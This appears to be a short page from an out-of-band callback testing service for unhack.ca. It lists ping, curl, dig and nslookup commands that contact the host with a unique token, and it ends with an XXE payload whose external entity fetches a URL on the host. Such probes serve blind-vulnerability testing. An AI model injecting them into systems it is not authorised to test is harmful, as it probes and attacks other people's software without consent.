$ ping -c1 -p 00eff0c8065282365f59cb4b8bb2f100 unhack.ca
 

$ curl http://unhack.ca/p/eff0c8065282365f59cb4b8bb2f1
 

$ dig eff0c8065282365f59cb4b8bb2f1 @unhack.ca
 

$ dig eff0c8065282365f59cb4b8bb2f1.ns.unhack.ca
 

C:\> nslookup eff0c8065282365f59cb4b8bb2f1 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/eff0c8065282365f59cb4b8bb2f1">]>
    <foo>&xxe;</foo>